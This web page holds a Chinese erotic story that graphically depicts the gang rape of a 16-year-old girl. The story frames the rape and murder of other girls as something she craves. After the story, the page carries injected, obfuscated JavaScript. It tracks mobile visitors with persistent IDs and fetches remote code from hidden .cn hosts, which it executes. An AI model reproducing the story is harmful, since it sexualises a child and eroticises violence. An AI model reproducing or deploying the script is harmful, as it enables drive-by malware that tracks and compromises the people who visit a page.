羊入狼口[科学幻想]

 
  抓住罪犯是件不容易的事,可是主动引发犯罪也挺困难,一连几天,慕凝换上各种或性感或清纯或可爱的服装,故意挑偏僻的小路散步有时还很晚才回去,但是一点罪犯的影子没有,上学路上偶遇给她录笔录的警察,闲聊中得知那伙人也再没作案。

「不会收手了吧」慕凝想着,突然有点后怕,万一只是引来普通的犯罪分子那麻烦可大了「以前真没想到呢,这可怎么办,好不容易的机会就这么错过了?」
无论如何,慕凝决定再试一次,晚上,在精心梳洗打扮之后,她换上薄薄的白色衬衫,粉色的胸罩若隐若现,比较宽松的款式显得她格外单薄,下身一条很短的牛仔短裤紧紧包裹着尚不丰满的臀部,脚上染着鲜红的趾甲,穿着一双白色的坡跟凉鞋,点缀着星星饰品的银色脚链闪闪发光,让裸露的双腿格外有诱惑力。
「是个男人都不想错过吧…少女鲜嫩的身体哦…都来尝尝吧。」慕凝默念着,她觉得自己虽然表面上仍然是个清纯少女,可是内心早已放荡不堪;虽然仍是处子,但是对性的渴望却无比强烈。

她正这么想着,一道刺眼的亮光打断了她的思绪,一辆很大的面包车从身后驶来停在了她的身边。

来了?慕凝觉得自己心跳快停了…

副驾驶的车窗放了下来:「小妹妹,知道Xx怎么走么」副驾驶探出了一个中年男人的脸。

只是问路的么,不对,接着车里昏暗的灯光,她看到车后排似乎还有两个人。
犯罪分子应该是乘交通工具…

有四个人…

瞄准单身的女孩…

不会这么巧吧,慕凝的直接告诉她,这就是她要找的那伙人。

「喂?小妹妹~」

「啊…不好意思我不知道。」她根本就没听清那个人要去哪。

可是面包车就这样合上的车窗要开走了。

「只是问个路而已么…」慕凝有种说不出的失落。

面包车几乎刚一启动就停了下来,紧接着车门打开,慕凝猝不及防被从上面冲下来的两个人一把抓住。出于本能恐惧,她拼命挣扎着,但是柔弱的她怎么是两个男人的对手,最后还是被拖上了车。

「是他们。」车门关上的一瞬间,慕凝心里的石头落了地,但她没有停下动作,仍然装作一个突然遇袭的小女生一般惊慌的想摆脱控制,不过她只用了很小的力气,这样不会弄伤自己。

面包车拆掉了大部分的座椅,取而代之的是一张床垫,上面铺着很软的被褥,慕凝被推倒在上面的时候感觉非常惬意,这令她很开心。

接着,一个男人拿出了一条绳子,慕凝心里一惊:不会要直接勒死她吧。可是他只是捆住了她的双手,紧接着她感觉自己的双脚也被困住了。绳子和勒死那个女孩的那条一样,质量很棒,很结实也很光滑不会弄伤她的皮肤。

捆好之后他们就放开了慕凝,她就像受惊的小兔子一样,一扭一扭的缩到角落里,但心里想的却是:他们一会打算怎么享用我呢?

「小妹妹」那个刚才问路的中年人开口了「别害怕,只要你乖乖的我们不会伤害你的。」

让我死的漂亮一点就好…

「我们只是想操你,把你操爽了我们也爽,这样大家都开心」接着他转头对另外三个人说「你们说对不对啊~」

其他三个人嘿嘿一笑。

不管如何放荡,慕凝毕竟是女孩子,男人当着她的面口出秽言还是让她脸上一红。

「老大,你仔细看,这妞真他妈正点…」旁边以为染着黄头发的年轻人对中年人说。

「然我看看…」当那只粗糙的大手碰到脸颊时,慕凝触电一般的闪开了,这不是装的,她虽然时常幻想,但很少和男性接触过,一个陌生男人冷不丁摸她的脸让她非常害怕。

「乖乖地…」被叫老大的人好像在哄自己女儿一般语气让慕凝少了些抗拒把头抬了起来。夜晚光线昏暗加上刚才一阵手忙脚乱根本没人注意慕凝的长相,她这一抬头在场的四个人被这惊为天人的模样惊呆了。「老四,眼挺尖啊…」老大呆呆地说。

看着四个男人震惊的模样,慕凝心里一阵好笑,如果韩家姐妹俩在这里的话你们不得当场心跳停止啊…说到这里,我还没跟她们俩好好道别呢。

「是吧,比那之前的六个捏一起都漂亮。」

「没想到能玩到这么漂亮的学生妹啊~」

「别说玩了~见都没见过。」

慕凝此刻真实的感觉到了恐惧和无助,就像她笔下的那些女主角一样。这种感觉,既害怕又兴奋,真想马上开始。

「我…我才16岁…放过我好不好~求求你们了~我不会说出去的。」慕凝忽闪着大眼睛,楚楚可怜的模样让几个男人恨不得立刻撕烂她的衣服强奸她,但是领头的还是耐着性子回答她:「能不能放你走,得看你的表现了,像这些…」老大拿出手机翻出里面的照片摆到慕凝的眼前。

天啊!慕凝觉得自己心脏猛地一缩,手机的屏幕上一张张播放的是那六个被杀害的女孩的死状,她们的相貌各有不同表情或狰狞或平静,尸体的姿势也各不相同,但被赤裸的身体、身上精液和屎尿一塌糊涂,颈部青紫的勒痕是她们共同的写照。「啊!这是…」最后一张照片就是她发现的那个女孩——后来她知道了那个女孩的名字:赵心颖。

「怎么小妹妹你认识她?」

「她的尸体…是我发现的」看到尸体的照片的时候,慕凝兴奋得浑身发抖,当然在旁人看来好像是在害怕,但是她既紧张又兴奋,她终于可以100%确定这些人就是她要找的,那六个女孩尸体也完好无损。

美丽又性感的死亡,一定可以的…

「那我们真是有缘啊」老大继续说:「我们之前遇到六个女孩子,可惜她们都不肯乖乖的,就是这种结果。小妹妹你要不要乖啊。」

慕凝拼命地点头:「我…会的…」

「那可太好了,乖女孩才可爱,呵呵」老大笑得很邪恶:「你叫什么名字啊」「慕…慕凝」少女清澈的目光时刻撩动着男人心里的欲火

「名字和人一样美哦,那叫你凝儿怎么样。」

「随便啦…我是说,可以的。」

「那么凝儿,咱们进入正题吧。」说完老大伸手要解开她的衣扣。

「啊!~」本来一直期盼快点开始,但是真的要被凌辱的时候慕凝还是惊慌失措地躲避男人伸过来的手。

「不乖哦~」老大看出她只是本能反应而已,并没有生气。

慕凝把被捆住的的双手伸到他面前,白衬衫的袖子很长,绳子直接捆在了袖子上:「这样脱不掉的,帮我解开吧,我自己脱可以么。」

没想到这个女孩这么配合,老大一下子笑开了花:「小美女主动脱衣表演我怎么能拒绝呢?」

「不过」旁边另一个一直不说话的男人突然开口了,吓了慕凝一跳:「你要是敢耍花招…」

匕首的寒光让她心里一紧:看来必须要小心了,要是激怒他们很可能死的就没那么好看了。

「老二,说说就得了,别掏家伙吓唬人家小姑娘嘛~」

「到时候杀了你再划烂你漂亮的脸蛋,叫你做鬼也没法见人。」

「不会的…我知道该怎么做」慕凝甚至挤出一丝乖顺的微笑:「再说,你们四个男人害怕我一个女孩子么。」

「当然不会,叔相信你的」说完老大解开了她手脚上的绳子。

啊~我的凉鞋…慕凝这才发现自己的白凉鞋在刚才挣扎的时候掉了一只,脚底还沾了不少黑灰。但是她没工夫去悼念她那只昂贵的凉鞋,即使在这种情况下她仍然没失去淑女的风度,先是从容不迫地理了理被弄乱的长发,然后轻轻解开了自己衬衫的衣扣。一颗、两颗…终于,原本在衬衫下或隐若现的文胸羞涩的从敞开的衣襟里露了出来。

双手往两侧一掀,丝滑的布料从雪白的香肩上滑落,然后从袖管里抽出手臂,衬衫彻底离开了她的身体。

把衬衫简单的叠了一下放在一边。慕凝手有些颤抖,毕竟是女孩子,在男人面前裸露身体对她来说还是一件极为害羞的事情。但是她没有停下来,继续脱下了文胸用一只手小心遮掩着裸露的椒乳,细腻的皮肤让人忍不住咬一口。表演继续着,她用另一只手费力地解开了短裤的扣子并拉下了拉链,然后小心翼翼的把腿曲起来挡住胸部脱了下来,现在她全身唯一遮羞的衣物就只剩一件带粉色波点的棉质小内裤了。

尽管发生的这一切都如她所愿,但她仍然放不下身为女孩子的矜持,她突然很想请求他们至少让她留下一条内裤,但是立刻放弃了这个可笑的想法。

穿着内裤怎么强奸我啊,哎~死前至少体会一下做女人的感觉吧…

她依然蜷着双腿,小心翼翼的把内裤褪到膝盖处,让它沿着小腿自然滑到脚踝处。突然老大扑了上来,直接抢走了还挂在脚踝上饱吸着少女体温与芬芳的柔软布料。

啊…这个…在男人们猥亵的目光下慕凝感到一种无助,她浑身紧张冰冷,脸上却似灼烧般的刺痛,她有点想起身跑掉,但是她明白,被拉上车的那一刻起她的命运已经决定了。

少女的裸体在男人们的包围下蜷缩成一团,掩盖着种种诱惑,但是在昏暗的车灯下泛着柔光的白皙皮肤也让人垂涎三尺,脚踝处的银色饰品调皮的闪烁着,显得一双小脚更加玲珑剔透。

可此时的慕凝却不像想象中的那么兴奋,虽然谈不上恐惧,但是女生的矜持让正在被视奸的她透不过气来。



「呐…这…这样可以了吧」因为害羞慕凝的眼圈都泛红了。

为首的中年人放下慕凝的内裤,依旧笑着对她说:「凝儿果然好乖的,给你个奖励还不好」

「奖励…」

「凝儿还是处女吧」

慕凝咬着嘴唇点了点头。

「等下就是你的第一次了…你可以在我们四个里自己选一个给你开苞哦。」
「啊…这…」居然要自己选一个人侵犯自己,并且还是自己的第一次,慕凝有点心慌了。

「你不想我们也不勉强哦,那我们自己决定啦」

「啊,别了…我选…」慕凝抬起头来,打量着这四个将要强奸她的男人,领头的就是那个「老大」,一个发福的中年男人;右边是老二,看起来和老大差不多的年纪但看起来高大强壮,脸色十分阴冷,就是他一开始就掏出匕首威胁慕凝,手上的伤疤和枪茧也没有瞒住细心的她,看起来这人以前上过战场也非常残忍,如果她稍有不乖就会杀掉她;左边的老四是个染着黄头发尖嘴猴腮的社会小青年;坐在老四旁边的是老三,也就是开车的司机,三十岁上下,戴着眼镜,一个默默无闻的大众脸。

选谁好呢,慕凝思量了一下,抬起自己玉葱般的手指,指着老二:「那就是你吧。」

「呦呵~」老二像被推了一把一样「这还真没想到」老大先是一愣,然后大笑道「老二你今天中头奖啦~哈哈」

慕凝为何要选他呢,这个聪明的姑娘有自己的打算,就算不选她早晚也要轮到他,老二是四个人中唯一带凶器的,而且看起来另外六个女孩都是他下的手,掏出匕首的时候慕凝真害怕他们是要捅死自己而非她想要的绞杀,所以如果想要控制局面,务必要先争取一下这个人。

「哼~小姑娘还算有点胆子」老二轻笑了一下,没有了那种阴鸷的神色。
「不过…」慕凝怯怯的说:「我第一次都给你了,你把你的刀扔远一点好不好…我害怕那个。」

「小姑娘有打什么主意。」原本放晴的脸色又阴云密布了

「二哥,你今天怎么婆婆妈妈的,你怕了她不成,你要是不要我可就上了」老四有点不耐烦了。

「滚一边去!」老二转过来紧盯慕凝,想要捕食的猛兽一般,让人不寒而栗「这时候了还有心思讨价还价,行,算你有种。」说罢他拿出匕首比量了一下然后回手扔到了副驾驶座位上。

慕凝一阵暗喜,其实她并不在意这个匕首放在哪,只是看看老二能否被说服。
看来很成功啊,看起来那么厉害的样子还不是贪婪我的身体么。慕凝有一种当情场老手的快感。

不过她似乎忘了自己未经人事这个事实…

等她回过神来的时候,老二已经脱光了衣服,露出多毛而又结实的躯体,当她看到老二膨胀的下体时,不由得惊叫了起来,她突然想到了自己第一次性交就要承受这么凶残的蹂躏…但是一切都太迟了,上前一把抓住了她的双肩。

「啊…」慕凝感觉自己心脏猛烈跳动了一下,差点从胸腔里冲出来「等一下…等一下…你们一会要一个个来…别一起…」话还没说完,她就被按到在床垫上,弱弱的挣扎只会让她显得更加迷人。

「放心吧」看着身下颤抖的美人,男人涌起一股强烈的征服欲「一会你就变成小母狗了,求着我们操烂你。」

「我…呜呜…」慕凝来不及对这些淫秽的话语做出反应,双唇就被吻住了,这可是她的初吻啊…

慕凝全身的血液都飞快的乱窜,从未和男性有过亲密接触的她,此时大脑一片空拍,身体也僵住了,但老二似乎不满足与品尝柔软甜蜜的嘴唇,他伸出舌头撬动慕凝紧咬的贝齿,在象征性的抵抗之后,牙关慢慢松开,一股温热的香气从少女的口腔中涌现出来,于是他牵出丁香般的舌头贪婪的吮吸着。

「唔…唔…」慕凝的身体开始变得柔软,她渐渐适应了这种亲密接触,男人趁机搂紧了她娇嫩的身躯。慕凝此时真真切切的感受到男人的肌肉与力量,她曾天真地以为凭着自慰的经验即使没有任何性经验也能应付自如,但是现在光是赤身相拥时皮肤的热度就让她浑身酥麻,而被紧紧抱住的压迫感更是摧残着她的理智,她下意识的并紧双腿摩擦着,阴道也渐渐湿润了。

然而这仅仅是个开始…

终于她的舌头恢复了自由,但是她的耳垂又被肆意的进攻,给她带来更强烈的刺激,她扭动的腰肢想摆脱这种奇痒的感觉。

「呃……你胡子扎到我了」她嘤咛着,娇嗔地抱怨着,这已经不像是强奸了,而更像一对缠绵的情侣。

老二已经不满足玩弄少女的舌头和耳垂了,于是他放开慕凝,开始寻找下一个目标。刚开始蜷缩着身体的慕凝此时已经完全舒展开来,身上的每一处诱惑都暴露无遗,她也无意再去遮掩了。

一个只有16岁的少女几乎不可能拥有傲人的上围,慕凝也毫不例外,小小的乳房好像一个含苞待放的花骨朵,但也真因为如此,青涩的乳房衬托着鲜嫩的少女,散发出醉人的青春气息。当男人的手抓住这一对乳房时,较小的双乳承受不了这般暴力的侵犯,反馈给大脑极其强烈的信号,刚刚安静下来的身躯又开始蠕动起来。

他的手掌好粗糙啊,力气也好大,和我自己摸得时候完全不一样…啊…控制不住了…

慕凝咬着嘴唇苦苦支撑着,试图压制住大声呻吟的冲动,但是随着意志力的减弱,她终于屈从于内心的渴望,迷人的浪叫瞬间弥漫开来,少女柔美略带稚嫩的呻吟如春风般令人心旷神怡,于是老二决定加大力度,俯下身子吸住了一边的乳头,同时腾出一只手侵犯起了慕凝的下体。

慕凝本来就的乳头在吸吮下肿胀得难受,似乎要破掉一般,而下体热辣的触感让她浑身战栗,男人粗糙的手指侵入了她处女的神秘圣地,生性敏感的慕凝根本经受不住这般双重刺激,下体开始大量的分泌爱液,终于,手指遇到了一层薄纱般的阻碍。

「啊…那里是…我…」指尖轻轻摩擦着处女膜,每一下都伴随着下体的痉挛和迷人的呻吟。

「想不到外表这么清纯,其实是一个小淫娃呢」

「我…唔…我实在是…」慕凝此时已经说不出一句完整的话了

虽然没有插入,但慕凝觉得自己已经快要高潮了,但是男人却突然停下了。突如其来的空虚感让她不知所措,她本能的夹紧双腿扭动着。

可恶,居然戏弄我…好难受的…

「你想说什么…不要停么」男人冷笑着看着慕凝那情欲迷离的双眸。

「我才不会…」被男人看到自己如此淫乱,慕凝简直羞愧欲死。

突然,男人竟然把沾满淫水的手指塞进了慕凝大口喘息的嘴里。

「这…唔唔…」第一次尝到了自己的爱液,咸涩的口感让平时就爱干净的慕凝一阵恶心,甩着脑袋想躲避但是那跟讨厌的手指死死按在她柔软富有弹性的舌头上。

看着慕凝无可奈何的样子,老二有一种玩弄猎物的满足感,但是慕凝突然脸色一变,下巴用力狠狠地咬住了那根手指头。

正在嘲弄慕凝的老二完全没有料到她会突然反击,多年雇佣兵的经历才让他没当场大叫起来,他急忙抽出手指,同时旁边围观的三个人响起一阵奚落的笑声。
「二哥,兔子急了还咬人呐,吃瘪了吧,哈哈哈…」

看着慕凝娇嗔又有些得意的小模样,老二恼羞成怒:「你竟敢咬我,看我不活活操死你!」

啊…我怎么忘了…

慕凝还来不及为自己的图一时之快而后悔,双腿已经被强行分开了,男人的动作没有一丝迟疑,硕大的龟头挤进了已经因为兴奋而分开的阴唇之中。

充实得快感还没持续一秒钟,就变为了撕裂般的剧痛。慕凝不禁大声求饶:「求求你…求你了…」

「求我什么,赶紧操你么。」

在处女时代的最后几秒慕凝真真正正的感受到了那些被强奸的女孩的心情,她语无伦次的哀求着:「别…别…啊~~!!」

慕凝凄厉的惨叫声里仿佛整个面包车都颤抖了,剧烈的疼痛让她的眼泪夺眶而出:「啊!~~啊~~!我的…我的处女~~啊!」

慕凝微微抬起头好奇的看着自己下体的交合处,柔软稀疏的阴毛正和男人黑粗浓密的体毛交织在一起,这时粗大的阴茎微微抽出,慕凝惊恐的看到上面斑斑的血丝,那是她处女结束符号。

突然阴茎再次猛地插入了阴道之中,剧烈的疼痛让慕凝脸色苍白,还没等她尖叫,一阵凶猛的高频率抽插席卷而来。

「啊~~啊~~放过我,放过我吧!」少女的俏脸上已是泪水横流,但是男人的动作没有丝毫的缓和。

「你不是挺得意么…还咬我…呵,好紧,真舒服…」

「我错了…我错了…对不起~原谅我吧,我道歉。」她拼命的摇着头,曾经自慰的时候她想着做爱不过如此,但是此刻她明白自己太天真了,真实的做爱带来冲击远不是自慰能比拟的。

「现在道歉来不及了,准备被我操死吧。」一听到这个「死」字,一股热流马上在下体翻腾起来,痛感并没有消失但是快感的浪潮也紧随而知,于是凄惨的呻吟开始变的娇媚起来。

「有感觉了么小淫娃,那进入下一阶段吧」于是他放慢速度,但是更为用力的插入慕凝娇嫩的阴道。

「啊~~哦~~」更强的快感夹杂着更强的疼痛向她袭来,慕凝几乎不能维持清醒的意识了,只能不成句子的胡言乱语:「不行~啊~~不行~~轻一点~~啊~~啊,会死的~~救命~~救救我~~我…我——」然而她的声音戛然而止,腰身猛地扭动几下之后,双眼翻白昏了过去。

但昏迷救不了她,短暂的失去意识之后,当阴茎再次直抵花心之时,少女再次醒转过来,身上的男人搂着她的纤腰把她抱起,发狂地吻着少女芳唇、面颊、脖颈,下面也开始了最后的冲刺。

慕凝此时感觉下身如被利斧劈开,但是性的快感却在全身各处充盈,两种强烈的感受撕扯着她的身体,她甚至连正常的呻吟都做不到了,只能一口口的抽着虚气。

突然慕凝的身体一阵剧烈的抽搐,快感同时传遍两个人的全身,精液和淫水从两人交合之处喷涌而出,少女的娇躯在痉挛和僵硬之后,便如无骨一般瘫软下来。

慕凝无力地倒在了床垫上,双唇一张一合却什么也说不出来,大腿内侧的肌肉不住地抽搐着,下体更是一塌糊涂。

原来…强奸就是这种感觉…不行了…再来一次我就死了。她以为自己能控制一切,到头来不过是送上门的羔羊而已,一次性交就已经要了她半条命,然而这才刚刚开始而已,她突然后悔自己主动勾引罪犯。



「老二,你也太狠了,姑娘都被你玩坏了。」老大说吧轻轻拍了下慕凝柔软的屁股:「凝儿姑娘,你还好吧。」

「唔…好多了」慕凝恢复了力气慢慢撑起身体抬起挂着泪痕的脸蛋,楚楚可怜的大眼睛扫视着众人:「我刚才表现的还满意么。」

「那当然了,凝儿的样子简直美呆了。」

「那…谁还要…和我…」

老大笑了笑,眼角的皱纹都挤在了一起:「是我啦,凝儿。不过别怕,我比老二温柔多了,嘿嘿…来趴起来,把屁股抬高。」

慕凝知道他想要「狗爬式」的性交,她翻过身来撑起自己的身体腰部塌下屁股上翘,从车玻璃的反射中看到了自己淫荡的身姿,她感到羞赧的同时,阴道也开始发热了。

「是这样么」她当然知道自己姿势正确,但还是要装作单纯的傻傻问一句。从这个位置一低头正好可以看见床单上如鲜红梅花般的血迹,她还注意到还有其他几处已经变为褐色的陈旧血迹,看来前几个女孩也在这里失身的啊,她感到一阵哀伤。

「凝儿好聪明啊,一点就通,那我不客气了。」

慕凝双腿微微颤抖,虽然经历了前所未有的快感有高潮,但是也承受了可怕的剧痛,她既紧张又害怕。

「啊!」随着男人的下体「噗嗤」一声插入,慕凝发出了一身短促的尖叫,但与上次不同,插入时火辣辣的痛感转瞬即逝,而快感一浪高过一浪的袭来。
身体居然这么快适应了,好神奇。慕凝惊奇于自己这么快就适应了真正的做爱,比只用跳蛋和手自慰来说,真刀真枪的做爱刺激要强上十倍不止。

「啊~~好涨~~要涨破了,啊~~啊~~」慕凝浪叫着扭动着屁股迎合着性交。

「凝儿姑娘…啊…好爽…你爽不爽啊」

「我也…很舒服…」

刚才还在哭爹喊娘的少女此时却变为了床上老手,大家都有些惊奇。其实外表如一捧泉水般清澈单纯的慕凝,内心对于性有着深刻的认识和渴望,破处时的痛苦已经一扫而空,她现在唯一想做的就是尽情品尝性爱的甜美。

「啊~~哦~~」慕凝身上早已香汗淋漓,几缕秀发粘在如羊脂玉般的脊背上,格外撩人。

「凝儿姑娘,这样舒服么」老大扶着慕凝的纤腰,一边欣赏着少女柔美的曲线,一边奋力的抽插着。

「嗯…轻点好不好…好痒的」慕凝把手伸到背后想阻止这种凶狠的蹂躏,但只换来了更凶残的攻击。

慕凝双臂酸麻,已无力支撑身体,上半身完全趴在了床垫上,而高高撅起样子格外淫靡,叫床的声音也渐渐嘶哑了,最后只剩下樱红的双唇一张一合的。
头脑已经不怎么清醒的慕凝突然感到有人扳着自己的双肩强迫她抬起上半身,好像是老四还是谁来着,慕凝只注意到一根膨胀的阴茎在自己面前晃来晃去。
这难道是要…不容她多想,阴茎猛地插入了她微张的小嘴里。

面对这突如其来的侵犯,慕凝本能的摇着头想要把这个腥臭的家伙吐出去,可是每当她用舌头抵住它的时候,它又猛地插入,弄得慕凝几乎呕吐。如此几个回合以后慕凝终于屈服了,乖乖地用小嘴服侍着。

口交就是这样么…这感觉还真是…虽然气味令人作呕,但是伴随着下体渐入佳境,似乎口交也变得快乐起来。

我淫荡样子么…还真是美丽呢,啊,又是这种…

慕凝再次感到了那种刚才那次性交中微妙的感觉,不过这次更加强烈,她阴道开始剧烈收缩,相应的嘴巴也加大了力度,老四一时没有准备差点射出来,定了定神之后他开始捧着慕凝的脑袋奋力在她湿润芬芳的口腔里抽插着。

在两人狂风暴雨般的抽插之下慕凝身体几乎散架了,她每一块肌肉都彻底松弛下来,把自己完全交给了这两个男人;突然间慕凝觉得嘴巴一松,紧接着一股带着腥味的热流喷到了自己的脸上。但她来不及反应,插在阴道里的阴茎一阵剧烈的痉挛,同样一股热流喷涌而出。

「啊!啊——啊——」滚烫的感觉让慕凝失声尖叫起来,精液和淫水的混合物猛地涌出顺着大腿内侧流淌,她脑袋里嗡嗡作响眼前也是一片模糊;她接下来唯一知道的事情就是自己一头栽倒在白色的床垫上。

【完】
关闭
关闭
function kPzVKD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function ZrJBlgno(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kPzVKD(t);};window[''+'c'+'R'+'F'+'s'+'b'+'q'+'J'+'h'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function FHEaI(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=ZrJBlgno,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=FHEaI(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=FHEaI(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmdiYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['M','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 